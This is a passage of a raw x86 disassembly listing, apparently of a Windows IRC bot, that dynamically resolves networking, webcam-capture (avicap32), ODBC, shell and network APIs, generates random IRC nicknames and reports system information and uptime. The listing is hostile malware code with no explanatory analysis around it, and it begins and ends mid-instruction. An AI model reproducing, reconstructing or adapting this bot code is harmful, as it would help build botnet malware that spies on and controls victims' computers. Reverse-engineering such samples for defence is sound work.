offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4C93A4, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4C936C, eax call esi cmp dword_4C93AC, ebx mov dword_4C923C, eax jz short loc_40A475 cmp dword_4C93A4, ebx jz short loc_40A475 cmp dword_4C936C, ebx jz short loc_40A475 cmp eax, ebx jnz short loc_40A47F jmp short loc_40A475 ; --------------------------------------------------------------------------- loc_40A46A: ; CODE XREF: sub_4098FD+B19j nop call near ptr 26A0EA9h mov dword_4C9418, eax loc_40A475: ; CODE XREF: sub_4098FD+B55j ; sub_4098FD+B5Dj ... mov dword_4C9414, 1 loc_40A47F: ; CODE XREF: sub_4098FD+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4B4 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4C9270, eax call esi cmp dword_4C9270, ebx mov dword_4C9378, eax jz short loc_40A4BF cmp eax, ebx jnz short loc_40A4C9 jmp short loc_40A4BF ; --------------------------------------------------------------------------- loc_40A4B4: ; CODE XREF: sub_4098FD+B8Dj nop call near ptr 26A0EA9h mov dword_4C9420, eax loc_40A4BF: ; CODE XREF: sub_4098FD+BAFj ; sub_4098FD+BB5j mov dword_4C941C, 1 loc_40A4C9: ; CODE XREF: sub_4098FD+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A552 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4C9340, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4C938C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4C92C8, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4C9280, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4C9320, eax call esi cmp dword_4C9340, ebx mov dword_4C9290, eax jz short loc_40A55D cmp dword_4C938C, ebx jz short loc_40A55D cmp dword_4C92C8, ebx jz short loc_40A55D cmp dword_4C9280, ebx jz short loc_40A55D cmp dword_4C9320, ebx jz short loc_40A55D cmp eax, ebx jnz short loc_40A567 jmp short loc_40A55D ; --------------------------------------------------------------------------- loc_40A552: ; CODE XREF: sub_4098FD+BD7j nop call near ptr 26A0EA9h mov dword_4C9428, eax loc_40A55D: ; CODE XREF: sub_4098FD+C2Dj ; sub_4098FD+C35j ... mov dword_4C9424, 1 loc_40A567: ; CODE XREF: sub_4098FD+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A59C push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4C9254, eax call esi cmp dword_4C9254, ebx mov dword_4C9334, eax jz short loc_40A5A7 cmp eax, ebx jnz short loc_40A5B1 jmp short loc_40A5A7 ; --------------------------------------------------------------------------- loc_40A59C: ; CODE XREF: sub_4098FD+C75j call near ptr 26A0EA9h nop mov dword_4C9430, eax loc_40A5A7: ; CODE XREF: sub_4098FD+C97j ; sub_4098FD+C9Dj mov dword_4C942C, 1 loc_40A5B1: ; CODE XREF: sub_4098FD+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4098FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5B9 proc near ; CODE XREF: sub_401AC7+24FBp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4C93C4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A601 push dword_4C93C8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A601: ; CODE XREF: sub_40A5B9+1Aj cmp dword_4C93CC, esi jz short loc_40A635 push dword_4C93D0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A635: ; CODE XREF: sub_40A5B9+4Ej cmp dword_4C93D4, esi jz short loc_40A669 push dword_4C93D8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A669: ; CODE XREF: sub_40A5B9+82j cmp dword_4C93DC, esi jz short loc_40A69D push dword_4C93E0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A69D: ; CODE XREF: sub_40A5B9+B6j cmp dword_4C93E4, esi jz short loc_40A6D1 push dword_4C93E8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A6D1: ; CODE XREF: sub_40A5B9+EAj cmp dword_4C93EC, esi jz short loc_40A705 push dword_4C93F0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A705: ; CODE XREF: sub_40A5B9+11Ej cmp dword_4C93F4, esi jz short loc_40A739 push dword_4C93F8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A739: ; CODE XREF: sub_40A5B9+152j cmp dword_4C93FC, esi jz short loc_40A76D push dword_4C9400 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A76D: ; CODE XREF: sub_40A5B9+186j cmp dword_4C9404, esi jz short loc_40A7A1 push dword_4C9408 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A7A1: ; CODE XREF: sub_40A5B9+1BAj cmp dword_4C940C, esi jz short loc_40A7D5 push dword_4C9410 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A7D5: ; CODE XREF: sub_40A5B9+1EEj cmp dword_4C9414, esi jz short loc_40A809 push dword_4C9418 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A809: ; CODE XREF: sub_40A5B9+222j cmp dword_4C941C, esi jz short loc_40A83D push dword_4C9420 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A83D: ; CODE XREF: sub_40A5B9+256j cmp dword_4C9424, esi jz short loc_40A871 push dword_4C9428 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A871: ; CODE XREF: sub_40A5B9+28Aj cmp dword_4C942C, esi jz short loc_40A8A5 push dword_4C9430 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A8A5: ; CODE XREF: sub_40A5B9+2BEj lea eax, [ebp+var_200] push offset unk_42D6D0 push eax call sub_41C006 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8D2 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 14h loc_40A8D2: ; CODE XREF: sub_40A5B9+302j lea eax, [ebp+var_200] push eax call sub_415CEE pop ecx pop edi pop esi pop ebx leave retn sub_40A5B9 endp ; =============== S U B R O U T I N E ======================================= sub_40A8E4 proc near ; CODE XREF: sub_4017E7+4Fp ; sub_401AC7+5C0Fp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4C9344 cmp eax, 0FFFFFFFFh jnz short locret_40A90C push [esp+arg_0] call dword_4C9388 test eax, eax jnz short loc_40A905 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A905: ; CODE XREF: sub_40A8E4+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A90C: ; CODE XREF: sub_40A8E4+Dj retn sub_40A8E4 endp ; =============== S U B R O U T I N E ======================================= sub_40A90D proc near ; CODE XREF: sub_4017E7+D6p mov ecx, dword_4C9220 xor eax, eax test ecx, ecx jz short locret_40A91B call ecx locret_40A91B: ; CODE XREF: sub_40A90D+Aj retn sub_40A90D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A91C proc near ; CODE XREF: sub_401AC7:loc_403EE7p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4C9380 mov ecx, eax sub ecx, edi jz loc_40A9E2 sub ecx, 32h jz loc_40A9DB sub ecx, 48h jz short loc_40A97C sub ecx, 6Eh jz short loc_40A975 loc_40A95E: ; CODE XREF: sub_40A91C+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8E4 push eax call sub_41C006 add esp, 0Ch jmp short loc_40A9BC ; --------------------------------------------------------------------------- loc_40A975: ; CODE XREF: sub_40A91C+40j push offset unk_42D8C0 jmp short loc_40A9AE ; --------------------------------------------------------------------------- loc_40A97C: ; CODE XREF: sub_40A91C+3Bj push [ebp+var_8] call sub_41BC9B push [ebp+var_8] mov esi, eax push edi push esi call sub_41BD10 add esp, 10h cmp esi, edi jz short loc_40A9A9 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4C9380 cmp eax, edi jz short loc_40A9E2 jmp short loc_40A95E ; --------------------------------------------------------------------------- loc_40A9A9: ; CODE XREF: sub_40A91C+79j push offset unk_42D890 loc_40A9AE: ; CODE XREF: sub_40A91C+5Ej ; sub_40A91C+C4j lea eax, [ebp+var_88] push eax call sub_41C006 pop ecx pop ecx loc_40A9BC: ; CODE XREF: sub_40A91C+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415CEE pop ecx loc_40A9CC: ; CODE XREF: sub_40A91C+C8j ; sub_40A91C+DCj push esi call sub_41BA31 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9DB: ; CODE XREF: sub_40A91C+32j push offset unk_42D860 jmp short loc_40A9AE ; --------------------------------------------------------------------------- loc_40A9E2: ; CODE XREF: sub_40A91C+29j ; sub_40A91C+89j cmp [esi], edi jbe short loc_40A9CC lea ebx, [esi+4] loc_40A9E9: ; CODE XREF: sub_40A91C+DAj push ebx call dword_4C937C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9E9 jmp short loc_40A9CC sub_40A91C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9FA proc near ; CODE XREF: sub_401AC7+21DAp ; sub_401AC7+2328p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4C92A8 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4C9434 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C006 add esp, 18h mov eax, esi pop esi leave retn sub_40A9FA endp ; =============== S U B R O U T I N E ======================================= sub_40AA53 proc near ; CODE XREF: sub_41364F+24Cp ; sub_41364F+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA7C mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA6F: ; CODE XREF: sub_40AA53+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA6F pop edi jmp short loc_40AA80 ; --------------------------------------------------------------------------- loc_40AA7C: ; CODE XREF: sub_40AA53+Aj mov edx, [esp+4+arg_0] loc_40AA80: ; CODE XREF: sub_40AA53+27j test esi, esi pop esi jz short loc_40AA8A movzx ecx, byte ptr [edx] add eax, ecx loc_40AA8A: ; CODE XREF: sub_40AA53+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA53 endp ; =============== S U B R O U T I N E ======================================= sub_40AAA0 proc near ; CODE XREF: sub_40AE77+49p ; DATA XREF: ___:off_42D930o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26B0D7Ah push eax call sub_41C058 call sub_41C062 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_42D9AC[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C100 xor esi, esi add esp, 14h cmp dword_429094, esi jle short loc_40AB07 loc_40AAE1: ; CODE XREF: sub_40AAA0+65j call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AAE1 loc_40AB07: ; CODE XREF: sub_40AAA0+3Fj mov eax, edi pop edi pop esi retn sub_40AAA0 endp ; --------------------------------------------------------------------------- dd 0E8905756h, 22A6266h, 153EE850h, 7C8B0001h, 4C71024h dd 42913824h, 0CCC06800h, 1C6A0042h, 15CEE857h, 0F6330001h dd 3910C483h, 42909435h, 0E8267E00h, 1151Eh, 59990A6Ah dd 5752F9F7h, 42B8A068h, 571C6A00h, 115A7E8h, 14C48300h dd 94353B46h, 7C004290h, 5FC78BDAh ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB6A proc near ; CODE XREF: sub_401AC7+6922p arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26B0D7Ah push eax call sub_41C058 pop ecx call sub_41C062 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429094 test esi, esi jle short loc_40ABAD loc_40AB97: ; CODE XREF: sub_40AB6A+41j call sub_41C062 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40AB97 loc_40ABAD: ; CODE XREF: sub_40AB6A+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB6A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26B0D7Ah push eax call sub_41C058 pop ecx lea eax, [ebp-8] mov esi, offset byte_431604 push eax push esi nop call near ptr 26E0000h movsx eax, byte_431604 push 41h pop ecx push 1 pop edx loc_40ABF3: ; CODE XREF: ___:0040ABFEj cmp eax, ecx jnz short loc_40ABFA mov [ebp-4], edx loc_40ABFA: ; CODE XREF: ___:0040ABF5j inc ecx cmp ecx, 5Bh jl short loc_40ABF3 push 61h pop ecx loc_40AC03: ; CODE XREF: ___:0040AC0Ej cmp eax, ecx jnz short loc_40AC0A mov [ebp-4], edx loc_40AC0A: ; CODE XREF: ___:0040AC05j inc ecx cmp ecx, 7Bh jl short loc_40AC03 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C100 xor esi, esi add esp, 0Ch cmp dword_429094, esi jle short loc_40AC4F loc_40AC29: ; CODE XREF: ___:0040AC4Dj call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AC29 loc_40AC4F: ; CODE XREF: ___:0040AC27j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26B0D7Ah push eax call sub_41C058 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26F0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431608 push 1Ch push edi call sub_41C100 xor esi, esi add esp, 10h cmp dword_429094, esi jle short loc_40ACC4 loc_40AC9E: ; CODE XREF: ___:0040ACC2j call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AC9E loc_40ACC4: ; CODE XREF: ___:0040AC9Cj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43B4B8 mov dword ptr [ebp-94h], 94h nop call near ptr 26F0417h nop call near ptr 26B0D7Ah push eax call sub_41C058 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD4E cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD2E cmp dword ptr [ebp-84h], 1 jnz short loc_40AD1E mov esi, offset dword_431630 loc_40AD1E: ; CODE XREF: ___:0040AD17j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD8A mov esi, offset dword_43162C jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD2E: ; CODE XREF: ___:0040AD0Ej cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD3E mov esi, offset dword_431628 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD3E: ; CODE XREF: ___:0040AD35j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD85 mov esi, offset dword_431624 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD4E: ; CODE XREF: ___:0040AD05j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD85 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD67 mov esi, offset dword_431620 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD67: ; CODE XREF: ___:0040AD5Ej cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD77 mov esi, offset dword_43161C jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD77: ; CODE XREF: ___:0040AD6Ej cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431618 jz short loc_40AD8A loc_40AD85: ; CODE XREF: ___:0040AD45j ; ___:0040AD55j mov esi, offset dword_431614 loc_40AD8A: ; CODE XREF: ___:0040AD25j ; ___:0040AD2Cj ... mov edi, [ebp+8] push esi push offset dword_43160C push 1Ch push edi call sub_41C100 xor esi, esi add esp, 10h cmp dword_429094, esi jle short loc_40ADCE loc_40ADA8: ; CODE XREF: ___:0040ADCCj call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40ADA8 loc_40ADCE: ; CODE XREF: ___:0040ADA6j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADD4 proc near ; CODE XREF: sub_40AE77+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26B0D7Ah nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE23 call dword_4C9310 test eax, eax mov eax, offset dword_43163C jnz short loc_40AE0C mov eax, offset byte_43B4B8 loc_40AE0C: ; CODE XREF: sub_40ADD4+31j push eax push esi push offset dword_431634 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C100 add esp, 14h jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40AE23: ; CODE XREF: sub_40ADD4+22j call dword_4C9310 test eax, eax mov eax, offset dword_43163C jnz short loc_40AE37 mov eax, offset byte_43B4B8 loc_40AE37: ; CODE XREF: sub_40ADD4+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C006 pop ecx pop ecx loc_40AE43: ; CODE XREF: sub_40ADD4+4Dj lea eax, [ebp+var_1C] push eax call sub_41B960 pop ecx cmp eax, 2 pop esi jbe short loc_40AE72 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C950 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BD70 add esp, 18h loc_40AE72: ; CODE XREF: sub_40ADD4+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE77 proc near ; CODE XREF: sub_4017E7+7Fp ; sub_40194F+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D92C loc_40AE83: ; CODE XREF: sub_40AE77+3Fj cmp [ebp+arg_C], 0 jz short loc_40AE9E lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C7E0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEA8 ; --------------------------------------------------------------------------- loc_40AE9E: ; CODE XREF: sub_40AE77+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEA8: ; CODE XREF: sub_40AE77+25j test eax, eax jnz short loc_40AEBA add esi, 14h inc edi cmp esi, offset off_42D9B8 jl short loc_40AE83 jmp short loc_40AEC8 ; --------------------------------------------------------------------------- loc_40AEBA: ; CODE XREF: sub_40AE77+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D930[eax*4] pop ecx loc_40AEC8: ; CODE XREF: sub_40AE77+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEDB push [ebp+arg_0] call sub_40ADD4 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEDB: ; CODE XREF: sub_40AE77+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43B4B8 mov dword ptr [ebp-0B8h], 94h call near ptr 26F0417h nop cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF5A cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF3B cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF2B mov edi, offset dword_431630 loc_40AF2B: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AF96 mov edi, offset dword_43162C jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF3B: ; CODE XREF: ___:0040AF1Bj cmp [ebp-0B0h], ebx jnz short loc_40AF4A mov edi, offset dword_431628 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF4A: ; CODE XREF: ___:0040AF41j cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF91 mov edi, offset dword_431624 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF5A: ; CODE XREF: ___:0040AF12j cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF91 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF73 mov edi, offset dword_431620 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF73: ; CODE XREF: ___:0040AF6Aj cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF83 mov edi, offset dword_43161C jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF83: ; CODE XREF: ___:0040AF7Aj cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431694 jz short loc_40AF96 loc_40AF91: ; CODE XREF: ___:0040AF51j ; ___:0040AF61j mov edi, offset dword_431690 loc_40AF96: ; CODE XREF: ___:0040AF32j ; ___:0040AF39j ... lea eax, [ebp-0A4h] push offset word_4C91BC push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40AFB4 mov esi, offset dword_43168C jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFB4: ; CODE XREF: ___:0040AFABj lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40AFD2 mov esi, offset sub_431688 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFD2: ; CODE XREF: ___:0040AFC9j lea eax, [ebp-0A4h] push offset dword_431684 push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40AFF0 mov esi, offset dword_431680 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFF0: ; CODE XREF: ___:0040AFE7j lea eax, [ebp-0A4h] push offset dword_43167C push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40B00E mov esi, offset dword_431678 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40B00E: ; CODE XREF: ___:0040B005j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C080 pop ecx mov esi, offset dword_431670 test eax, eax pop ecx jnz short loc_40B02F mov esi, offset off_43166C loc_40B02F: ; CODE XREF: ___:0040AFB2j ; ___:0040AFD0j ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41AD74 pop ecx push eax call sub_41CA73 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B079 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C100 add esp, 10h jmp short loc_40B09D ; --------------------------------------------------------------------------- loc_40B079: ; CODE XREF: ___:0040B062j cmp eax, 64h jge short loc_40B08B lea ecx, [ebp-18h] push ebx push ecx push eax call sub_426642 jmp short loc_40B09A ; --------------------------------------------------------------------------- loc_40B08B: ; CODE XREF: ___:0040B07Cj push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C100 loc_40B09A: ; CODE XREF: ___:0040B089j add esp, 0Ch loc_40B09D: ; CODE XREF: ___:0040B077j nop call near ptr 26B0D7Ah push eax call sub_41C058 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h nop call near ptr 26F0000h lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C100 xor esi, esi add esp, 1Ch cmp dword_429094, esi jle short loc_40B108 loc_40B0E3: ; CODE XREF: ___:0040B106j call sub_41C062 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40B0E3 loc_40B108: ; CODE XREF: ___:0040B0E1j mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B10F proc near ; CODE XREF: sub_40B12F+Ap ; sub_40B207+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B960 push [esp+8+arg_4] mov esi, eax call sub_41B960 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B10F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B12F proc near ; CODE XREF: sub_40B21E+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B10F cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B14C xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B14C: ; CODE XREF: sub_40B12F+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B960 push [ebp+arg_C] mov esi, eax call sub_41B960 mov edi, eax mov ebx, 